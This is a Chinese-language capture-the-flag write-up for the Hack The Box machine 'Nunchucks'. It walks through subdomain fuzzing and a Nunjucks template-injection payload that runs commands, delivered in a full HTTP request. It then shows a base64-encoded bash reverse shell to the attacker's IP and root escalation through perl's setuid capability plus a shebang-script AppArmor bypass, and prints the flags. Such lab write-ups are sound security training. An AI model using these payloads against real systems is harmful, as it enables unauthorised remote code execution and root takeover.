美文网首页OSCP学习
Nunchucks HTB Writeup

Nunchucks HTB Writeup

作者: doinb1517 | 来源:发表于2023-03-07 16:49 被阅读0次
    logo.png

    知识点

    1、关注下使用wfuzz收集子域名的方案

    2、模板注入

    3、capabilities提权

    4、apparmor控制权限及bypass

    WP

    user 权限

    nmap扫描主机,发现

    01.png

    直接访问https服务,发现是一个在线售卖网站,登陆和注册功能都用不了。

    02.png
    echo 10.10.11.122 nunchucks.htb >> /etc/hosts
    

    我使用gobuster进行了子域名收集,但是没有收获有效的结果(后来我反应过来,我为啥要这么干呢。。。。压根没有添加对应的域名和IP映射到host文件,所以这样压根搞不到子域名,是我太傻了。。。。)

    ┌──(root㉿kali)-[/home/kali]
    └─# gobuster dns -d nunchucks.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
    ===============================================================
    Gobuster v3.5
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Domain:     nunchucks.htb
    [+] Threads:    10
    [+] Timeout:    1s
    [+] Wordlist:   /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
    ===============================================================
    2023/03/07 14:56:49 Starting gobuster in DNS enumeration mode
    ===============================================================
    Progress: 19966 / 19967 (99.99%)
    ===============================================================
    2023/03/07 14:58:06 Finished
    ===============================================================
    
    

    换个工具wfuzz再收集一波

    ┌──(root㉿kali)-[/home/kali]
    └─# wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 30587 https://nunchucks.htb
     /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
    ********************************************************
    * Wfuzz 3.1.0 - The Web Fuzzer                         *
    ********************************************************
    
    Target: https://nunchucks.htb/
    Total requests: 4989
    
    =====================================================================
    ID           Response   Lines    Word       Chars       Payload
    =====================================================================
    
    000000081:   200        101 L    259 W      4028 Ch     "store"
    
    Total time: 21.62489
    Processed Requests: 4989
    Filtered Requests: 4988
    Requests/sec.: 230.7063
    
    

    收获了子域名store.nunchucks.htb,添加到/etc/hosts文件内

    03.png

    抓包看了下后端用了啥框架,看到了X-Powered-By:Express

    04.png

    上网搜索了一下这个框架,发现是一个模板引擎,既然是模板引擎可以测试下

    05.png

    进一步确定了应该是有模板注入发现的,而且后端语言是node.js

    06.png

    随便输入一个被{{payload}}包裹的表达式,可以看到payload已经执行了,说明存在模板注入漏洞

    07.png

    我自己找了个node的反弹shell,尝试失败,继续找现成的POC,找到现在的这个链接

    http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine

    {{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
    
    # 因为传递参数是json传递的,所以需要用`\`转义一下"
    {{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}
    
    08.png
    {"response":"You will receive updates on the following email address: aa
    
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\n
    rtkit:x:113:117:RealtimeKit,,,:/proc:/usr/sbin/nologin\n
    dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\n
    geoclue:x:115:120::/var/lib/geoclue:/usr/sbin/nologin\n
    avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin\n
    cups-pk-helper:x:117:123:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\n
    saned:x:118:124::/var/lib/saned:/usr/sbin/nologin\n
    colord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\npulse:x:120:126:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin\n
    mysql:x:121:128:MySQL Server,,,:/nonexistent:/bin/false\n@bbbb.com."}
    

    在这个成功的poc基础上,继续尝试反弹shell,先用base64编码一下nc反弹shell

    ┌──(kali㉿192)-[~]
    └─$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.9/1234 0>&1"' | base64
    YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzEyMzQgMD4mMSIK
    

    payload

    echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzEyMzQgMD4mMSIK |base64 -d |bash

    POST /api/submit HTTP/1.1
    Host: store.nunchucks.htb
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: https://store.nunchucks.htb/
    Content-Type: application/json
    Origin: https://store.nunchucks.htb
    Content-Length: 212
    Connection: keep-alive
    Cookie: _csrf=9Kn5buLz97YvNEt2h4BO-bFm
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    {"email":"aa{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzEyMzQgMD4mMSIK |base64 -d |bash')\")()}}@bbbb.com"}
    

    成功拿到反弹shell权限

    09.png
    david@nunchucks:~$ cat user.txt
    cat user.txt
    0264f47a6a50adb0c8280ef1680c60d8
    

    root 权限

    尝试了sudo -l没有结果

    直接看看用户目录下有啥有意思的文件

    david@nunchucks:~$ ls -al
    ls -al
    total 52
    drwxr-xr-x 7 david david 4096 Oct 22  2021 .
    drwxr-xr-x 3 root  root  4096 Aug 28  2021 ..
    lrwxrwxrwx 1 root  root     9 Aug 28  2021 .bash_history -> /dev/null
    -rw-r--r-- 1 david david  220 Feb 25  2020 .bash_logout
    -rw-r--r-- 1 david david 3771 Feb 25  2020 .bashrc
    drwxr-xr-x 7 david david 4096 Sep 25  2021 .cache
    drwx------ 8 david david 4096 Sep 25  2021 .config
    drwx------ 3 david david 4096 Sep 25  2021 .gnupg
    drwx------ 3 david david 4096 Sep 25  2021 .local
    drwxrwxr-x 5 david david 4096 Mar  7 12:51 .pm2
    -rw-r--r-- 1 david david  807 Feb 25  2020 .profile
    -r--r----- 1 root  david   33 Mar  7 12:51 user.txt
    -rw------- 1 david david 5116 Oct 22  2021 .viminfo
    

    发现了.viminfo文件,当然是选择康康

    david@nunchucks:~$ cat .viminfo
    cat .viminfo
    # This viminfo file was generated by Vim 8.1.
    # You may edit it if you're careful!
    
    # Viminfo version
    |1,4
    
    # Value of 'encoding' when this file was written
    *encoding=utf-8
    
    
    # hlsearch on (H) or off (h):
    ~h
    # Command Line History (newest to oldest):
    :wq
    |2,0,1634930489,,"wq"
    :q
    |2,0,1634930488,,"q"
    
    # Search String History (newest to oldest):
    
    # Expression History (newest to oldest):
    
    # Input Line History (newest to oldest):
    
    # Debug Line History (newest to oldest):
    
    # Registers:
    ""1     LINE    0
            use DBI;
    |3,1,1,1,1,0,1634930467,"use DBI;"
    "2      LINE    0
            use strict;
    |3,0,2,1,1,0,1634930465,"use strict;"
    "3      LINE    0
            my $tmpdir        = "/tmp";
            my $backup_main = '/var/www';
            my $now = strftime("%Y-%m-%d-%s", localtime);
            my $tmpbdir = "$tmpdir/backup_$now";
            
            sub printlog
            {
                print "[", strftime("%D %T", localtime), "] $_[0]\n";
            }
            
            sub archive
            {
                printlog "Archiving...";
                system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
                printlog "Backup complete in $tmpbdir/backup_$now.tar";
            }
            
            if ($> != 0) {
                die "You must run this script as root.\n";
            }
            
            printlog "Backup starts.";
            mkdir($tmpbdir);
            &archive;
            printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
            system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
            printlog "Removing temporary directory";
            rmdir($tmpbdir);
            printlog "Completed";
    |3,0,3,1,29,0,1634930146,"my $tmpdir        = \"/tmp\";","my $backup_main = '/var/www';","my $now = strftime(\"%Y-%m-%d-%s\", localtime);","my $tmpbdir = \"$tmpdir/backup_$now\";","","sub printlog","{","    print \"[\", strftime(\"%D %T\", localtime), \"] $_[0]\\n\";","}","","sub archive","{","    printlog \"Archiving...\";","    system(\"/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null\");",>63
    |<"    printlog \"Backup complete in $tmpbdir/backup_$now.tar\";","}","","if ($> != 0) {","    die \"You must run this script as root.\\n\";","}","","printlog \"Backup starts.\";","mkdir($tmpbdir);","&archive;","printlog \"Moving $tmpbdir/backup_$now to /opt/web_backups\";","system(\"/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/\");","printlog \"Removing temporary directory\";","rmdir($tmpbdir);","printlog \"Completed\";"
    "4      LINE    0
            my $tmpdir        = "/tmp";
            my $backup_main = '/var/www';
            my $now = strftime("%Y-%m-%d-%s", localtime);
            my $tmpbdir = "$tmpdir/backup_$now";
            
            sub printlog
            {
                print "[", strftime("%D %T", localtime), "] $_[0]\n";
            }
            
            sub archive
            {
                printlog "Archiving...";
                system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
                printlog "Backup complete in $tmpbdir/backup_$now.tar";
            }
            
            if ($> != 0) {
                die "You must run this script as root.\n";
            }
            
            printlog "Backup starts.";
            mkdir($tmpbdir);
            &archive;
            printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
            system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
            printlog "Removing temporary directory";
            rmdir($tmpbdir);
            printlog "Completed";
    |3,0,4,1,29,0,1634930009,"my $tmpdir        = \"/tmp\";","my $backup_main = '/var/www';","my $now = strftime(\"%Y-%m-%d-%s\", localtime);","my $tmpbdir = \"$tmpdir/backup_$now\";","","sub printlog","{","    print \"[\", strftime(\"%D %T\", localtime), \"] $_[0]\\n\";","}","","sub archive","{","    printlog \"Archiving...\";","    system(\"/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null\");",>63
    |<"    printlog \"Backup complete in $tmpbdir/backup_$now.tar\";","}","","if ($> != 0) {","    die \"You must run this script as root.\\n\";","}","","printlog \"Backup starts.\";","mkdir($tmpbdir);","&archive;","printlog \"Moving $tmpbdir/backup_$now to /opt/web_backups\";","system(\"/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/\");","printlog \"Removing temporary directory\";","rmdir($tmpbdir);","printlog \"Completed\";"
    
    # File marks:
    '0  3  0  /tmp/a.pl
    |4,48,3,0,1634930489,"/tmp/a.pl"
    '1  6  5  /tmp/a.pl
    |4,49,6,5,1634930149,"/tmp/a.pl"
    '2  8  5  /tmp/a.pl
    |4,50,8,5,1634930149,"/tmp/a.pl"
    '3  7  13  /tmp/a.pl
    |4,51,7,13,1634930030,"/tmp/a.pl"
    '4  6  13  /tmp/a.pl
    |4,52,6,13,1634930030,"/tmp/a.pl"
    '5  9  13  /tmp/a.pl
    |4,53,9,13,1634930030,"/tmp/a.pl"
    '6  8  13  /tmp/a.pl
    |4,54,8,13,1634930030,"/tmp/a.pl"
    '7  1  0  /tmp/a.pl
    |4,55,1,0,1634929961,"/tmp/a.pl"
    '8  1  0  /tmp/a.pl
    |4,56,1,0,1634929961,"/tmp/a.pl"
    '9  1  0  /tmp/a.pl
    |4,57,1,0,1634929961,"/tmp/a.pl"
    
    # Jumplist (newest first):
    -'  3  0  /tmp/a.pl
    |4,39,3,0,1634930489,"/tmp/a.pl"
    -'  6  5  /tmp/a.pl
    |4,39,6,5,1634930460,"/tmp/a.pl"
    -'  8  5  /tmp/a.pl
    |4,39,8,5,1634930149,"/tmp/a.pl"
    -'  7  13  /tmp/a.pl
    |4,39,7,13,1634930135,"/tmp/a.pl"
    -'  9  13  /tmp/a.pl
    |4,39,9,13,1634930135,"/tmp/a.pl"
    -'  8  13  /tmp/a.pl
    |4,39,8,13,1634930030,"/tmp/a.pl"
    -'  1  0  /tmp/a.pl
    |4,39,1,0,1634930004,"/tmp/a.pl"
    -'  1  0  /tmp/a.pl
    |4,39,1,0,1634930004,"/tmp/a.pl"
    -'  1  0  /tmp/a.pl
    |4,39,1,0,1634930004,"/tmp/a.pl"
    -'  1  0  /tmp/a.pl
    |4,39,1,0,1634929961,"/tmp/a.pl"
    
    # History of marks within files (newest to oldest):
    
    > /tmp/a.pl
            *       1634930489      0
            "       3       0
            .       3       0
            +       7       0
            +       7       13
            +       6       13
            +       7       0
            +       2       0
            +       3       0
    
    

    会备份web目录到/opt/web_backups/目录下

    system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
    

    我们来看看/opt目录下都有啥

    david@nunchucks:/etc/apparmor.d$ ls -al /opt
    ls -al /opt
    total 16
    drwxr-xr-x  3 root root 4096 Oct 28  2021 .
    drwxr-xr-x 19 root root 4096 Oct 28  2021 ..
    -rwxr-xr-x  1 root root  838 Sep  1  2021 backup.pl
    drwxr-xr-x  2 root root 4096 Oct 28  2021 web_backups
    

    我们可以通过capabilities提权

    # 测试可执行文件
    getcap -r / 2>/dev/null
    
    david@nunchucks:/var/www/store.nunchucks$ getcap -r / 2>/dev/null
    getcap -r / 2>/dev/null
    /usr/bin/perl = cap_setuid+ep
    /usr/bin/mtr-packet = cap_net_raw+ep
    /usr/bin/ping = cap_net_raw+ep
    /usr/bin/traceroute6.iputils = cap_net_raw+ep
    /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
    

    找到有setuid权限的是/usr/bin/perl

    使用perl的提权语句

    10.png
    perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    
    perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /root/root.txt";'
    

    执行失败

    david@nunchucks:/var/www/store.nunchucks$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
    david@nunchucks:/var/www/store.nunchucks$ id
    id
    uid=1000(david) gid=1000(david) groups=1000(david)
    david@nunchucks:/var/www/store.nunchucks$ cat /root/root.txt
    cat /root/root.txt
    cat: /root/root.txt: Permission denied
    david@nunchucks:/var/www/store.nunchucks$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /root/root.txt";'
    perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /root/root.txt";'
    cat: /root/root.txt: Permission denied
    david@nunchucks:/var/www/store.nunchucks$
    

    失败原因:这个机器上还有apparmor来控制应用权限

    david@nunchucks:/etc$ cd apparmor.d
    cd apparmor.d
    david@nunchucks:/etc/apparmor.d$ ls -al
    ls -al
    total 72
    drwxr-xr-x   7 root root  4096 Oct 28  2021 .
    drwxr-xr-x 125 root root 12288 Mar  7 12:51 ..
    drwxr-xr-x   4 root root  4096 Oct 28  2021 abstractions
    drwxr-xr-x   2 root root  4096 Oct 28  2021 disable
    drwxr-xr-x   2 root root  4096 Oct 28  2021 force-complain
    drwxr-xr-x   2 root root  4096 Oct 28  2021 local
    -rw-r--r--   1 root root  1313 May 19  2020 lsb_release
    -rw-r--r--   1 root root  1108 May 19  2020 nvidia_modprobe
    -rw-r--r--   1 root root  3222 Mar 11  2020 sbin.dhclient
    drwxr-xr-x   5 root root  4096 Oct 28  2021 tunables
    -rw-r--r--   1 root root  3202 Feb 25  2020 usr.bin.man
    -rw-r--r--   1 root root   442 Sep 26  2021 usr.bin.perl
    -rw-r--r--   1 root root   672 Feb 19  2020 usr.sbin.ippusbxd
    -rw-r--r--   1 root root  2006 Jul 22  2021 usr.sbin.mysqld
    -rw-r--r--   1 root root  1575 Feb 11  2020 usr.sbin.rsyslogd
    -rw-r--r--   1 root root  1385 Dec  7  2019 usr.sbin.tcpdump
    david@nunchucks:/etc/apparmor.d$ cat usr.bin
    cat usr.bin
    cat: usr.bin: No such file or directory
    david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl
    cat usr.bin.perl
    # Last Modified: Tue Aug 31 18:25:30 2021
    #include <tunables/global>
    
    /usr/bin/perl {
      #include <abstractions/base>
      #include <abstractions/nameservice>
      #include <abstractions/perl>
    
      capability setuid,
    
      deny owner /etc/nsswitch.conf r,
      deny /root/* rwx,
      deny /etc/shadow rwx,
    
      /usr/bin/id mrix,
      /usr/bin/ls mrix,
      /usr/bin/cat mrix,
      /usr/bin/whoami mrix,
      /opt/backup.pl mrix,
      owner /home/ r,
      owner /home/david/ r,
    
    }
    
    

    也就是通过上述perl命令提升权限后只能执行几个有限的命令,/root目录下的文件我们都获取不到。

    直接google关键词

    12.png

    link:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/apparmor

    我们看到可以通过shebang来绕过限制,这里提一下什么是shebang,其实就是脚本开始时候的#!规定解释器位置

    11.png
    echo '#!/usr/bin/perl
    use POSIX qw(strftime);
    use POSIX qw(setuid);
    POSIX::setuid(0);
    exec "/bin/sh"' > /tmp/test.pl
    chmod +x /tmp/test.pl
    /tmp/test.pl
    

    成功拿到root权限

    david@nunchucks:/tmp$ echo '#!/usr/bin/perl
    use POSIX qw(strftime);
    use POSIX qw(setuid);
    POSIX::setuid(0);
    exec "/bin/sh"' > /tmp/test.pl
    chmod +x /tmp/test.pl
    /tmp/test.plecho '#!/usr/bin/perl
    > use POSIX qw(strftime);
    > use POSIX qw(setuid);
    > POSIX::setuid(0);
    > exec "/bin/sh"' > /tmp/test.pl
    david@nunchucks:/tmp$ chmod +x /tmp/test.pl
    david@nunchucks:/tmp$ ls
    /tmp/test.plls
    bash: /tmp/test.plls: No such file or directory
    david@nunchucks:/tmp$ ./test.pl
    ./test.pl
    id
    uid=0(root) gid=1000(david) groups=1000(david)
    cat /root/root.txt
    40b84cb277e55c6230f828860b7b709f
    
    

    相关文章

      网友评论

        本文标题:Nunchucks HTB Writeup

        本文链接:https://www.haomeiwen.com/subject/tgubldtx.html